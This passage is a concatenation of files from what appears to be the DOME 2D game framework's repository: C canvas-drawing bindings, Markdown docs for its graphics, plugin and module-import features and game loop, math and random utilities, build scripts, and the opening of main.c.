ENGINE_ellipse(engine, x1, y1, x2, y2, c); } internal void CANVAS_ellipsefill(WrenVM* vm) { ASSERT_SLOT_TYPE(vm, 1, NUM, "x1"); ASSERT_SLOT_TYPE(vm, 2, NUM, "y1"); ASSERT_SLOT_TYPE(vm, 3, NUM, "x2"); ASSERT_SLOT_TYPE(vm, 4, NUM, "y2"); ASSERT_SLOT_TYPE(vm, 5, NUM, "color"); ENGINE* engine = (ENGINE*)wrenGetUserData(vm); int64_t x1 = round(wrenGetSlotDouble(vm, 1)); int64_t y1 = round(wrenGetSlotDouble(vm, 2)); int64_t x2 = round(wrenGetSlotDouble(vm, 3)); int64_t y2 = round(wrenGetSlotDouble(vm, 4)); uint32_t c = round(wrenGetSlotDouble(vm, 5)); ENGINE_ellipsefill(engine, x1, y1, x2, y2, c); } internal void CANVAS_rect(WrenVM* vm) { ASSERT_SLOT_TYPE(vm, 1, NUM, "x"); ASSERT_SLOT_TYPE(vm, 2, NUM, "y"); ASSERT_SLOT_TYPE(vm, 3, NUM, "w"); ASSERT_SLOT_TYPE(vm, 4, NUM, "h"); ASSERT_SLOT_TYPE(vm, 5, NUM, "color"); ENGINE* engine = (ENGINE*)wrenGetUserData(vm); int64_t x = round(wrenGetSlotDouble(vm, 1)); int64_t y = round(wrenGetSlotDouble(vm, 2)); int64_t w = round(wrenGetSlotDouble(vm, 3)); int64_t h = round(wrenGetSlotDouble(vm, 4)); if (w < 0) { VM_ABORT(vm, "Rectangle width must not be negative"); return; } if (h < 0) { VM_ABORT(vm, "Rectangle height must not be negative"); return; } uint32_t c = round(wrenGetSlotDouble(vm, 5)); ENGINE_rect(engine, x, y, w, h, c); } internal void CANVAS_rectfill(WrenVM* vm) { ASSERT_SLOT_TYPE(vm, 1, NUM, "x"); ASSERT_SLOT_TYPE(vm, 2, NUM, "y"); ASSERT_SLOT_TYPE(vm, 3, NUM, "w"); ASSERT_SLOT_TYPE(vm, 4, NUM, "h"); ASSERT_SLOT_TYPE(vm, 5, NUM, "color"); ENGINE* engine = (ENGINE*)wrenGetUserData(vm); int64_t x = round(wrenGetSlotDouble(vm, 1)); int64_t y = round(wrenGetSlotDouble(vm, 2)); int64_t w = round(wrenGetSlotDouble(vm, 3)); int64_t h = round(wrenGetSlotDouble(vm, 4)); if (w < 0) { VM_ABORT(vm, "Rectangle width must not be negative"); return; } if (h < 0) { VM_ABORT(vm, "Rectangle height must not be negative"); return; } uint32_t c = round(wrenGetSlotDouble(vm, 5)); ENGINE_rectfill(engine, x, y, w, h, c); } internal void CANVAS_cls(WrenVM* vm) { ASSERT_SLOT_TYPE(vm, 1, NUM, "color"); uint32_t c = round(wrenGetSlotDouble(vm, 1)); ENGINE* engine = (ENGINE*)wrenGetUserData(vm); int64_t offsetX = engine->canvas.offsetX; int64_t offsetY = engine->canvas.offsetY; // Backgrounds are opaque c = c | (0xFF << 24); DOME_RECT clip = engine->canvas.clip; DOME_RECT rect = { .x = 0, .y = 0, .w = engine->canvas.width, .h = engine->canvas.height }; engine->canvas.clip = rect; ENGINE_rectfill(engine, -offsetX, -offsetY, engine->canvas.width, engine->canvas.height, c); engine->canvas.clip = clip; } internal void CANVAS_getWidth(WrenVM* vm) { ENGINE* engine = (ENGINE*)wrenGetUserData(vm); wrenSetSlotDouble(vm, 0, engine->canvas.width); } internal void CANVAS_getHeight(WrenVM* vm) { ENGINE* engine = (ENGINE*)wrenGetUserData(vm); wrenSetSlotDouble(vm, 0, engine->canvas.height); } internal void CANVAS_resize(WrenVM* vm) { ASSERT_SLOT_TYPE(vm, 1, NUM, "width"); ASSERT_SLOT_TYPE(vm, 2, NUM, "height"); ASSERT_SLOT_TYPE(vm, 3, NUM, "color"); ENGINE* engine = (ENGINE*)wrenGetUserData(vm); uint32_t width = wrenGetSlotDouble(vm, 1); uint32_t height = wrenGetSlotDouble(vm, 2); uint32_t color = wrenGetSlotDouble(vm, 3); bool success = ENGINE_canvasResize(engine, width, height, color); if (success == false) { VM_ABORT(vm, SDL_GetError()); return; } } internal void CANVAS_clip(WrenVM* vm) { ASSERT_SLOT_TYPE(vm, 1, NUM, "x1"); ASSERT_SLOT_TYPE(vm, 2, NUM, "y1"); ASSERT_SLOT_TYPE(vm, 3, NUM, "width"); ASSERT_SLOT_TYPE(vm, 4, NUM, "height"); ENGINE* engine = (ENGINE*)wrenGetUserData(vm); int32_t width = engine->canvas.width; int32_t height = engine->canvas.height; int64_t x = round(wrenGetSlotDouble(vm, 1)); int64_t y = round(wrenGetSlotDouble(vm, 2)); int64_t w = round(wrenGetSlotDouble(vm, 3)); int64_t h = round(wrenGetSlotDouble(vm, 4)); DOME_RECT rect = { .x = x, .y = y, .w = min(width, w), .h = min(height, h) }; engine->canvas.clip = rect; } internal void CANVAS_offset(WrenVM* vm) { ASSERT_SLOT_TYPE(vm, 1, NUM, "x offset"); ASSERT_SLOT_TYPE(vm, 2, NUM, "y offset"); ENGINE* engine = (ENGINE*)wrenGetUserData(vm); engine->canvas.offsetX = wrenGetSlotDouble(vm, 1); engine->canvas.offsetY = wrenGetSlotDouble(vm, 2); } <file_sep>/docs/modules/graphics.md [< Back](.) graphics ============= The `graphics` module provides utilities for drawing to the screen. It contains the following classes: * [Canvas](#canvas) * [Color](#color) * [Drawable](#drawable) * [Font](#font) * [ImageData](#imagedata) ## Canvas The `Canvas` class is the core api for graphical display. ### Fields #### `static height: Number` This is the height of the canvas/viewport, in pixels. #### `static width: Number` This is the width of the canvas/viewport, in pixels. ### Methods #### `static circle(x: Number, y: Number, r: Number, c: Color) ` Draw a circle, centered at co-ordinates (_x_, _y_), with a radius _r_, in the color _c_. #### `static circlefill(x: Number, y: Number, r: Number, c: Color) ` Draw a filled circle, centered at co-ordinates (_x_, _y_), with a radius _r_, in the color _c_. #### `static clip()` #### `static clip(x: Number, y: Number, w: Number, h: Number) ` This sets a "clipping region" for the canvas. No pixels will be drawn outside of the defined region. If this method is called without arguments it resets the clipping area to the whole display. #### `static cls() ` This clears the canvas fully, to black. This ignores the `Canvas.clip` and `Canvas.offset` commands. #### `static cls(c: Color) ` This clears the canvas fully, to the color _c_. This ignores the `Canvas.clip` and `Canvas.offset` commands. #### `static draw(object: Drawable, x: Number, y: Number) ` This method is syntactic sugar, to draw objects with a "draw(x: Number, y: Number)" method. #### `static ellipse(x0: Number, y0: Number, x1: Number, y1: Number, c: Color) ` Draw an ellipse between (_x0, y0_) and (_x1, y1_) in the color _c_. #### `static ellipsefill(x0: Number, y0: Number, x1: Number, y1: Number, c: Color) ` Draw a filled ellipse between (_x0, y0_) and (_x1, y1_) in the color _c_. #### `static line(x0: Number, y0: Number, x1: Number, y1: Number, c: Color) ` #### `static line(x0: Number, y0: Number, x1: Number, y1: Number, c: Color, size: Number) ` Draw a line `size` pixels wide between (_x0, y0_) and (_x1, y1_) in the color _c_. By default, `size` is 1. #### `static offset()` #### `static offset(x: Number, y: Number) ` Offset all following draw operations by (_x, y_). Calling this without arguments resets the offset to zero. You can use this to implement screen scrolling, or screenshake-style effects. #### `static print(str, x: Number, y: Number, c: Color) ` Print the text _str_ with the top-left corner at (_x, y_) in color _c_, using the currently set default font. See `Canvas.font` for more information. The text will be split across multiple lines if a newline (`\n`) character is encountered. The vertical line spacing defaults to `fontHeight / 4`, where fontHeight is the maximum height of a font character in pixels, but this will be configurable in future versions of DOME. #### `static print(str, x: Number, y: Number, c: Color, fontName: String) ` Print the text _str_ with the top-left corner at (_x, y_) in color _c_, in the specified font. The text will be split across multiple lines if a newline (`\n`) character is encountered. The vertical line spacing is calculated for each font, but this will be configurable in future versions of DOME. #### `static pset(x: Number, y: Number, c: Color) ` Set the pixel at (_x, y_) to the color _c_. #### `static pget(x: Number, y: Number): Color ` Get the color of the pixel at (_x, y_). #### `static rect(x: Number, y: Number, w: Number, h: Number, c: Color) ` Draw a rectangle with the top-left corner at (_x, y_), with a width of _w_ and _h_ in color _c_. #### `static rectfill(x: Number, y: Number, w: Number, h: Number, c: Color) ` Draw a filled rectangle with the top-left corner at (_x, y_), with a width of _w_ and _h_ in color _c_. #### `static resize(width: Number, height: Number)` #### `static resize(width: Number, height: Number, c: Color)` Resize the canvas to the given `width` and `height`, and reset the color of the canvas to `c`. If `c` isn't provided, we default to black. Resizing the canvas resets the "clipping region" to encompass the whole canvas, as if `Canvas.clip()` was called. ### Instance Field #### `font: String` This sets the name of the default font used for `Canvas.print(str, x, y, color)`. You can set this to `Font.default` to return to the DOME built-in font. ## Color An instance of the `Color` class represents a single color which can be used for drawing to the `Canvas`. DOME comes built-in with the PICO-8 palette, but you can also define and use your own colors in your games. ### Constructors #### `construct hex(hexcode: String)` Create a new color with the given hexcode as a string of three to eight alpha-numeric values. Hex values can be upper or lowercase, with or without a `#`. If three or four digits are provided, the number is interpreted as if each digit was written twice (similar to CSS): for example, `#123` is the same as `#112233`. If four or eight digits found, the last digit(s) form the value of the alpha channel. Otherwise, it is defaulted to 255 (fully opaque). #### `construct hsv(h: Number, s: Number, v: Number)` Create a new color using the given HSV number and an alpha value of `255`. The `s` and `v` parameters must be between `0.0` and `1.0`. #### `construct hsv(h: Number, s: Number, v: Number, a: Number)` Create a new color using the given HSV number and an alpha value of `a`, between `0 - 255`. The `s` and `v` parameters must be between `0.0` and `1.0`. #### `construct rgb(r: Number, g: Number, b: Number)` Create a new color with the given RGB values between `0 - 255`, and an alpha value of `255`. #### `construct rgb(r: Number, g: Number, b: Number, a: Number)` Create a new color with the given RGBA values between `0 - 255`. #### `construct new(r: Number, g: Number, b: Number)` #### `construct new(r: Number, g: Number, b: Number, a: Number)` Deprecated, aliases for `rgb` constructor. ### Instance Fields #### `r: Number` A value between `0 - 255` to represent the red color channel. #### `g: Number` A value between `0 - 255` to represent the green color channel. #### `b: Number` A value between `0 - 255` to represent the blue color channel. #### `a: Number` A value between `0 - 255` to represent the alpha transparency channel. ### Default Palette The values for the colors in this palette can be found [here](https://www.romanzolotarev.com/pico-8-color-palette/). * `static black: Color` * `static darkblue : Color` * `static darkpurple: Color` * `static darkgreen: Color` * `static brown: Color` * `static darkgray: Color` * `static lightgray: Color` * `static white: Color` * `static red: Color` * `static orange: Color` * `static yellow: Color` * `static green: Color` * `static blue: Color` * `static indigo: Color` * `static pink: Color` * `static peach: Color` In addition to these two values: * `static none: Color` - Representing clear transparency. * `static purple: Color` - `#8d3cff`, the DOME logo color. ## Drawable Represents an object which can be drawn to the screen. Objects which conform to this interface can be passed to `Canvas.draw(drawable, x, y)`. ### Instance Methods #### `draw(x: Number, y: Number): Void` Draw the image at the given `(x, y)` position on the screen. ## Font DOME includes a built-in fixed 8x8 pixel font, but you can also load and use fonts from TTF files stored on the file system. ### Static Methods #### `static load(name: String, path: String, size: Number): Font` Load the font file at `path`, rasterize it to the pixel height of `size`, and map this to the `name` for later reference. You will need to call this once for each font size, and `name` must be unique, or you will overwrite the old font. #### `static [fontName]: Font` You can retrieve a specific font using the index operator, for example `Font["NewFont"]`. ### Instance Methods #### `print(text: String, x: Number, y: Number, color: Color): Void` Print the `text` on the canvas at `(x, y)`, in the given `color`. ### Instance Field #### `antialias: Boolean` TTF fonts can be scaled to any size, but to look good at certain sizes, you can set antialias to `true` so that some pixels are made partially transparent, to appear smoother. This is `false` by default. ## ImageData ### _extends Drawable_ This class represents the data from an image, such as a sprite or tilemap. DOME supports the following formats: * JPEG baseline & progressive (12 bpc/arithmetic not supported, same as stock IJG lib) * PNG 1/2/4/8/16-bit-per-channel * BMP non-1bpp, non-RLE ### Static Methods #### `static [name]: ImageData` Fetch a cached image, if it's available. Returns `null` otherwise. #### `static create(name: String, width: Number, height: Number): ImageData` Creates a blank image of the size `width x height` and caches it as `name` for future use. #### `static loadFromFile(path: String): ImageData` Load an image at the given `path` and cache it for use. ### Instance Fields #### `height: Number` #### `width: Number` ### Instance Methods #### `draw(x: Number, y: Number): Void` Draw the image at the given `(x, y)` position on the screen. #### `drawArea(srcX: Number, srcY: Number, srcW: Number, srcH: Number, destX: Number, destY: Number): Void` Draw a subsection of the image, defined by the rectangle `(srcX, srcY)` to `(srcX + srcW, srcY + srcH)`. The resulting section is placed at `(destX, destY)`. #### `pset(x: Number, y: Number, color: Color): Void` Set a pixel at `(x, y)` in the ImageData to color `c`. #### `pget(x: Number, y: Number): Color` Fetch the current pixel at `(x, y)` in the ImageData. #### `saveToFile(path: String): Void` Saves the current image data at the given `path`. #### `transform(parameterMap): Drawable` This returns a `Drawable` which will perform the specified transforms, allowing for more fine-grained control over how images are drawn. You can store the returned drawable and reuse it across frames, while the image is loaded. Options available are: * `srcX`, `srcY` - These specify the top-left corner of the source image region you wish to draw. * `srcW`, `srcH` - This is the width and height of the source image region you want to draw. * `scaleX`, `scaleY` - You can scale your image in the x and y axis, independant of each other. If either of these are negative, they result in a "flip" operation. * `angle` - Rotates the image. This is in degrees, and rounded to the nearest 90 degrees. * `opacity` - A number between 0.0 and 1.0, this sets the global opacity of this image. Any alpha values in the image will be multipled by this value, * `tint` - A color value which is to be applied on top of the image. Use the tint color's alpha to control how strong the tint is. * `mode`, `foreground` and `background` - By default, mode is `"RGBA"`, so your images will draw in their true colors. If you set it to `"MONO"`, any pixels which are black or have transparency will be drawn in the `background` color and all other pixels of the image will be drawn in the `foreground` color. Both colors must be `Color` objects, and default to `Color.black` and `Color.white`, respectively. Transforms are applied as follows: Crop to the region, then rotate, then scale/flip. Here is an example: ```wren spriteSheet.transform({ "srcX": 8, "srcY": 8, "srcW": 8, "srcH": 8, "scaleX": 2, "scaleY": -2, "angle": 90 }).draw(x, y) ``` The code snippet above: * crops an 8x8 tile from a spritesheet, starting from (8, 8) in it's image data * It then rotates it 90 degrees clockwise * Finally, it scales the tile up by 2 in both the X and Y direction, but it flips the tile vertically. <file_sep>/docs/guides/module-imports.md [< Back](..) Importing User Modules =================== Wren allows scripts to import modules of reusable functionality specific to the embedding environment. In our case, DOME allows for modules to be imported by path like this: ``` import "[module_path]" for ClassName ``` DOME currently resolves paths in a very simple way: All are relative to the entry point of the game, which is usually `main.wren`. Module paths are resolved with the following priority: * DOME's [built-in modules](../modules) * Wren VM built-in modules `random` and `meta`. * User-provided modules at the specified path, relative to the game entry point As an example, imagine this directory structure: ``` . +-- dome +-- main.wren +-- map.wren +-- objects +-- sprite.wren +-- background.wren +-- utils +-- math.wren +-- vectors.wren ``` To import a class from `utils/math.wren` from `objects/sprite.wren`, you would have an import statement like this: ``` import "./utils/math" for Math ``` This is because even though `sprite.wren` is in the `objects` folder, the path has to be relative to the `main.wren` of the project. <file_sep>/docs/index.md Welcome ============ DOME is a framework for making 2D games using the [Wren programming language](http://wren.io) which can be played across platforms. Get help in the [DOME Discord Server](https://discord.gg/Py96zeH)! Check out the documentation: * [Installation](installation) * [Getting Started](getting-started) * [FAQ](faq) * [Modules](modules/) * [audio](modules/audio) * [dome](modules/dome) * [graphics](modules/graphics) * [input](modules/input) * [io](modules/io) * [json](modules/json) * [math](modules/math) * [plugin](modules/plugin) * [random](modules/random) * Guides * [Import Resolution](guides/module-imports) * [Game Loop Behaviour](guides/game-loop) * [Distributing your game](guides/distribution) * [Native Plugins](plugins/) * Examples * [DOMEjam](https://itch.io/jam/domejam) <file_sep>/src/debug.c #define DEBUG_LOG(string, ...) printf(string"\n", __VA_ARGS__) internal char* DEBUG_printWrenType(WrenType type) { switch (type) { case WREN_TYPE_BOOL: return "boolean"; break; case WREN_TYPE_NUM: return "number"; break; case WREN_TYPE_FOREIGN: return "foreign"; break; case WREN_TYPE_LIST: return "list"; break; case WREN_TYPE_NULL: return "null"; break; case WREN_TYPE_STRING: return "string"; break; default: return "unknown"; } } // forward declare internal void ENGINE_printLog(ENGINE* engine, char* line, ...); #define eprintf(...) ENGINE_printLog(engine, __VA_ARGS__) internal void DEBUG_printAudioSpec(ENGINE* engine, SDL_AudioSpec spec, AUDIO_TYPE type) { if (type == AUDIO_TYPE_WAV) { eprintf("WAV "); } else if (type == AUDIO_TYPE_OGG) { eprintf("OGG "); } else { eprintf("Unknown audio file detected\n"); } eprintf("Audio: %i Hz ", spec.freq); eprintf("%s", spec.channels == 0 ? "Mono" : "Stereo"); eprintf(" - "); if (SDL_AUDIO_ISSIGNED(spec.format)) { eprintf("Signed "); } else { eprintf("Unsigned "); } eprintf("%i bit (", SDL_AUDIO_BITSIZE(spec.format)); if (SDL_AUDIO_ISLITTLEENDIAN(spec.format)) { eprintf("LSB"); } else { eprintf("MSB"); } eprintf(")\n"); } #undef eprintf <file_sep>/scripts/generateEmbedModules.sh #!/bin/bash cd src/util gcc embed.c -o embed -std=gnu99 declare -a arr=( "stringUtils" "dome" "input" "graphics" "color" "font" "io" "audio" "vector" "image" "math" "plugin" "json" "platform" "random" ) declare -a opts=( ) rm ../modules/modules.inc 2> /dev/null touch ../modules/modules.inc rm ../modules/modulemap.c.inc 2> /dev/null touch ../modules/modulemap.c.inc for i in "${arr[@]}" do ./embed ../modules/${i}.wren ${i}Module ../modules/${i}.wren.inc echo "#include \"${i}.wren.inc\"" >> ../modules/modules.inc echo "MAP_addModule(map, \"${i}\", ${i}Module);" >> ../modules/modulemap.c.inc done for i in "${opts[@]}" do UPPER=`echo "${i}" | tr '[a-z]' '[A-Z]'` ./embed ../modules/${i}.wren ${i}Module ../modules/${i}.wren.inc echo "#if DOME_OPT_${UPPER}" >> ../modules/modules.inc echo "#include \"${i}.wren.inc\"" >> ../modules/modules.inc echo "#endif" >> ../modules/modules.inc echo "#if DOME_OPT_${UPPER}" >> ../modules/modulemap.c.inc echo "MAP_addModule(map, \"${i}\", ${i}Module);" >> ../modules/modulemap.c.inc echo "#endif" >> ../modules/modulemap.c.inc done <file_sep>/include/vendor.h #include <tinydir.h> #include <utf8.h> #include <optparse.h> #include <microtar/microtar.h> #include <json/pdjson.h> #include <mkdirp/mkdirp.h> #define JO_GIF_HEADER_FILE_ONLY #include <jo_gif.h> // Set up STB_IMAGE #define STBI_FAILURE_USERMSG #define STBI_NO_STDIO #define STBI_ONLY_JPEG #define STBI_ONLY_BMP #define STBI_ONLY_PNG #include <stb_image.h> // Setup STB_VORBIS #define STB_VORBIS_NO_PUSHDATA_API #define STB_VORBIS_HEADER_ONLY #include <stb_vorbis.c> #include <stb_image_write.h> #include <stb_truetype.h> #include <ABC_fifo.h> <file_sep>/scripts/setup_static_linux_sdl.sh #!/bin/bash source ./scripts/vars.sh git submodule update --init -- $DIRECTORY if ! [ -d "$DIRECTORY/$FOLDER" ]; then cd $DIRECTORY mkdir ${FOLDER} ; cd ${FOLDER} # cmake -DSDL_SHARED=OFF -DSDL_TEST=OFF -DSDL_STATIC=ON -DJACK_SHARED=OFF -DPULSEAUDIO_SHARED=OFF -DALSA_SHARED=OFF -DSNDIO=OFF .. ../configure --disable-shared --enable-wayland-shared --enable-x11-shared else cd $DIRECTORY/${FOLDER} fi make # These two are essential cp $DIRECTORY/${FOLDER}/build/.libs/libSDL2.a $LIB_DIR cp $DIRECTORY/${FOLDER}/sdl2-config $LIB_DIR/sdl2-config if [ -f "$DIRECTORY/$FOLDER/build/.libs/libSDL2main.a" ]; then cp $DIRECTORY/${FOLDER}/build/.libs/libSDL2main.a $LIB_DIR fi if [ -f "$DIRECTORY/$FOLDER/build/.libs/libSDL2main.so" ]; then cp $DIRECTORY/${FOLDER}/build/.libs/libSDL2main.so $LIB_DIR fi if [ -f "$DIRECTORY/$FOLDER/build/.libs/libSDL2.so" ]; then cp $DIRECTORY/${FOLDER}/build/.libs/libSDL2.so $LIB_DIR fi chmod +x $LIB_DIR/sdl2-config cp -r $DIRECTORY/include $INCLUDE_DIR/SDL2 cp -r $DIRECTORY/${FOLDER}/include/SDL_config.h $INCLUDE_DIR/SDL2/SDL_config.h <file_sep>/src/math.c /* math.c */ typedef struct { int32_t x; int32_t y; } iVEC; typedef struct { double x; double y; } VEC; internal double VEC_len(VEC v) { return sqrt(pow(v.x, 2) + pow(v.y, 2)); } internal VEC VEC_add(VEC v1, VEC v2) { VEC result = { v1.x + v2.x, v1.y + v2.y }; return result; } internal VEC VEC_sub(VEC v1, VEC v2) { VEC result = { v1.x - v2.x, v1.y - v2.y }; return result; } internal VEC VEC_scale(VEC v, double s) { VEC result = { v.x * s, v.y * s }; return result; } internal VEC VEC_neg(VEC v) { return VEC_scale(v, -1); } internal double VEC_dot(VEC v1, VEC v2) { return v1.x * v2.x + v1.y * v2.y; } internal VEC VEC_perp(VEC v) { VEC result = { -v.y , v.x }; return result; } inline internal float lerp(float a, float b, float f) { return (a * (1.0 - f)) + (b * f); } internal int64_t max(int64_t n1, int64_t n2) { if (n1 > n2) { return n1; } return n2; } internal int64_t min(int64_t n1, int64_t n2) { if (n1 < n2) { return n1; } return n2; } internal double fmid(double n1, double n2, double n3) { double temp; if (n1 > n3) { temp = n1; n1 = n3; n3 = temp; } if (n1 > n2) { temp = n1; n1 = n2; n2 = temp; } if (n2 < n3) { return n2; } else { return n3; } } internal int64_t mid(int64_t n1, int64_t n2, int64_t n3) { int64_t temp; if (n1 > n3) { temp = n1; n1 = n3; n3 = temp; } if (n1 > n2) { temp = n1; n1 = n2; n2 = temp; } if (n2 < n3) { return n2; } else { return n3; } } internal uint64_t gcd(uint64_t a, uint64_t b) { uint64_t t = b; while (b != 0) { t = b; b = a % b; a = t; } return a; } <file_sep>/src/modules/random.c uint32_t BIT_NOISE1 = 0xB5297A4D; uint32_t BIT_NOISE2 = 0x68E31DA4; uint32_t BIT_NOISE3 = 0x1B56C4E9; uint32_t CAP = 0xFFFFFFFF; uint32_t squirrel3Hash(uint32_t position, uint32_t seed) { uint32_t mangled = position; mangled = mangled * BIT_NOISE1; mangled = mangled + seed; mangled = mangled ^ (mangled >> 8); mangled = mangled + BIT_NOISE2; mangled = mangled ^ (mangled << 8); mangled = mangled * BIT_NOISE3; mangled = mangled ^ (mangled >> 8); return mangled & CAP; } void RANDOM_noise(WrenVM* vm) { uint32_t position = wrenGetSlotDouble(vm, 1); uint32_t seed = wrenGetSlotDouble(vm, 2); wrenSetSlotDouble(vm, 0, squirrel3Hash(position, seed)); } typedef struct { uint32_t seed; uint32_t state; } RANDOM; void RANDOM_allocate(WrenVM* vm) { RANDOM* rng = wrenSetSlotNewForeign(vm, 0, 0, sizeof(RANDOM)); uint32_t seed = wrenGetSlotDouble(vm, 1); rng->seed = seed; rng->state = 0; } void RANDOM_finalize(void* data) {} void RANDOM_float(WrenVM* vm) { RANDOM* rng = wrenGetSlotForeign(vm, 0); double result = squirrel3Hash(rng->state++, rng->seed); wrenSetSlotDouble(vm, 0, result / CAP); } <file_sep>/docs/modules/plugin.md [< Back](.) plugin ================ The `plugin` module is the gateway to loading [native plugins](/plugins/) which can access lower level system features, or bind to other shared libraries. ## Plugin ### Static Methods #### `static load(name: String): Void` This will search the current execution context for a plugin of the given `name` and load it. The name of the library must be as follows, for different platforms. Assuming your plugin was named `"test"`: * On Windows, the file would be `test.dll` * On Mac OS X, the file must be named `test.dylib` * On Linux and other platforms, the file must be `test.so` The `name` can be treated as a relative file path from the location of your application entry point, but it is recommended to place plugin library files in the same folder as your `main.wren` or `game.egg` file, for the best compatibility across platforms. Once the plugin library is loaded, DOME will execute its [Init hook](/plugins/#init), if available. If the hook reports a failure, or the library could not be found, `Plugin.load()` will abort the current fiber. A plugin is not unloaded until DOME shuts down. There is no way to unload it during execution. <file_sep>/docs/guides/game-loop.md [< Back](..) Game-Loop Behaviour =================== DOME handles the logistics of operating a game loop, so you only have to worry about what happens during your update loop. The game loop is broken into three stages: * Input and Asynchronous Event Handling * Update * Draw The default game-loop can be described as having a "fixed timestep with variable rendering". This means that the the Update Phase runs with a fixed granularity of 16.6ms but the Input and Draw phases are processed at every opportunity. Therefore, you can rely on your game having deterministic behaviour as every update is the same time-slice, and DOME should gracefully handle a variety of machines of differing power. If the draw and input phases take too long, DOME may run your update code multiple times to "catch up". In addition, DOME can ask your game to render at arbitrary times between ticks. It provides your `Game` with a `draw(alpha)` call, where `alpha` is a value between 0.0 and 1.0, a percentage of how far between the last tick and the next you are executing. You can use this to extrapolate the game state from the previous tick to "now". DOME also starts with VSync enabled by default, so it will wait under the VBlank before executing the next frame's game loop. ## Options There is no way for DOME to detect if it is running on a system which supports VSync, so you can disable it programmatically using the `Window.vsync` setting in the [dome](/modules/dome) module. It's possible that you spot a single-frame stutter while the game is running at a high framerate. This is due to slight errors in frame time counting, and so DOME catches up unnecessarily. You can disable the catchup behaviour using `Window.lockstep = true`. <file_sep>/src/main.c #define _DEFAULT_SOURCE #define NOMINMAX #ifndef DOME_VERSION #define DOME_VERSION "0.0.0 - CUSTOM" #endif // Standard libs #ifdef __MINGW32__ #include <windows.h> #endif #include <stdio.h> #include <assert.h> #include <errno.h> #include <stdlib.h> #include <stdarg.h> #include <ctype.h> #include <unistd.h> #include <sys/stat.h> #include <string.h> #include <libgen.h> #include <time.h> #include <math.h> #ifndef M_PI #define M_PI 3.14159265358979323846 #endif #include <wren.h> #include <SDL.h> #include <vendor.h> // Import plugin-specific definitions #define WIN_EXPORT #include "dome.h" // project-specific definitions #define external DOME_EXPORT #define internal DOME_INTERNAL static #define global_variable static #define local_persist static #define INIT_TO_ZERO(Type, name)\ Type name;\ memset(&name, 0, sizeof(Type)); #define STRINGS_EQUAL(a, b) (strcmp(a, b) == 0) #define VM_ABORT(vm, error) do {\ wrenSetSlotString(vm, 0, error);\ wrenAbortFiber(vm, 0); \ } while(false); #define ASSERT_SLOT_TYPE(vm, slot, type, fieldName) \ if (wrenGetSlotType(vm, slot) != WREN_TYPE_##type) { \ VM_ABORT(vm, #fieldName " was not " #type); \ return; \ } // Constants // Screen dimension constants #define GAME_WIDTH 320 #define GAME_HEIGHT 240 #define SCREEN_WIDTH GAME_WIDTH * 2 #define SCREEN_HEIGHT GAME_HEIGHT * 2 // Used in the io variable, but we need to catch it here global_variable WrenHandle* bufferClass = NULL; global_variable WrenHandle* keyboardClass = NULL; global_variable WrenHandle* mouseClass = NULL; global_variable WrenHandle* gamepadClass = NULL; global_variable WrenHandle* updateInputMethod = NULL; // These are set by cmd arguments #ifdef DEBUG global_variable bool DEBUG_MODE = true; #else global_variable bool DEBUG_MODE = false; #endif global_variable size_t AUDIO_BUFFER_SIZE = 2048; global_variable size_t GIF_SCALE = 1; // Game code #include "math.c" #include "strings.c" #include "modules/map.c" #include "plugin.h" #include "engine.h" #include "util/font8x8.h" #include "io.c" #include "audio/engine.h" #include "audio/hashmap.c" #include "audio/engine.c" #include "audio/channel.c" #include "audio/api.c" #include "debug.c" #include "engine.c" #include "plugin.c" #include "modules/dome.c" #include "modules/font.c" #include "modules/io.c" #include "modules/audio.c" #include "modules/graphics.c" #include "modules/image.c" #include "modules/input.c" #include "modules/json.c" #include "modules/platform.c" #include "modules/random.c" #include "modules/plugin.c" #include "util/wrenembed.c" // Comes last to register modules #include "vm.c" typedef struct { ENGINE* engine; WrenVM* vm; WrenHandle* gameClass; WrenHandle* updateMethod; WrenHandle* drawMethod; double MS_PER_FRAME; double FPS; double lag; double elapsed; bool windowBlurred; uint8_t attempts; } LOOP_STATE; internal void LOOP_release(LOOP_STATE* state) { WrenVM* vm = state->vm; if (state->drawMethod != NULL) { wrenReleaseHandle(vm, state->drawMethod); } if (state->updateMethod != NULL) { wrenReleaseHandle(vm, state->updateMethod); } if (state->gameClass != NULL) { wrenReleaseHandle(vm, state->gameClass); } } internal int LOOP_processInput(LOOP_STATE* state) { WrenInterpretResult interpreterResult; ENGINE* engine = state->engine; WrenVM* vm = state->vm; engine->mouse.scrollX = 0; engine->mouse.scrollY = 0; SDL_Event event; while(SDL_PollEvent(&event)) { switch (event.type) { case SDL_QUIT: engine->running = false; break; case SDL_WINDOWEVENT: { if (event.window.event == SDL_WINDOWEVENT_RESIZED || event.window.event == SDL_WINDOWEVENT_SIZE_CHANGED) { SDL_RenderGetViewport(engine->renderer, &(engine->viewport)); } else if (event.window.event == SDL_WINDOWEVENT_FOCUS_LOST) { AUDIO_ENGINE_pause(engine->audioEngine); state->windowBlurred = true; } else if (event.window.event == SDL_WINDOWEVENT_FOCUS_GAINED) { AUDIO_ENGINE_resume(engine->audioEngine); state->windowBlurred = false; } } break; case SDL_KEYDOWN: case SDL_KEYUP: { SDL_Keycode keyCode = event.key.keysym.sym; if (keyCode == SDLK_F3 && event.key.state == SDL_PRESSED && event.key.repeat == 0) { engine->debugEnabled = !engine->debugEnabled; } else if (keyCode == SDLK_F2 && event.key.state == SDL_PRESSED && event.key.repeat == 0) { ENGINE_takeScreenshot(engine); } else if (event.key.repeat == 0) { char* buttonName = strToLower((char*)SDL_GetKeyName(keyCode)); interpreterResult = INPUT_update(vm, DOME_INPUT_KEYBOARD, buttonName, event.key.state == SDL_PRESSED); free(buttonName); if (interpreterResult != WREN_RESULT_SUCCESS) { return EXIT_FAILURE; } } } break; case SDL_CONTROLLERDEVICEADDED: { GAMEPAD_eventAdded(vm, event.cdevice.which); } break; case SDL_CONTROLLERDEVICEREMOVED: { GAMEPAD_eventRemoved(vm, event.cdevice.which); } break; case SDL_CONTROLLERBUTTONDOWN: case SDL_CONTROLLERBUTTONUP: { SDL_ControllerButtonEvent cbutton = event.cbutton; const char* buttonName = GAMEPAD_stringFromButton(cbutton.button); interpreterResult = GAMEPAD_eventButtonPressed(vm, cbutton.which, buttonName, cbutton.state == SDL_PRESSED); if (interpreterResult != WREN_RESULT_SUCCESS) { return EXIT_FAILURE; } } break; case SDL_MOUSEWHEEL: { int dir = event.wheel.direction == SDL_MOUSEWHEEL_NORMAL ? 1 : -1; engine->mouse.scrollX += event.wheel.x * dir; // Down should be positive to match the direction of rendering. engine->mouse.scrollY += event.wheel.y * -dir; } break; case SDL_MOUSEBUTTONDOWN: case SDL_MOUSEBUTTONUP: { char* 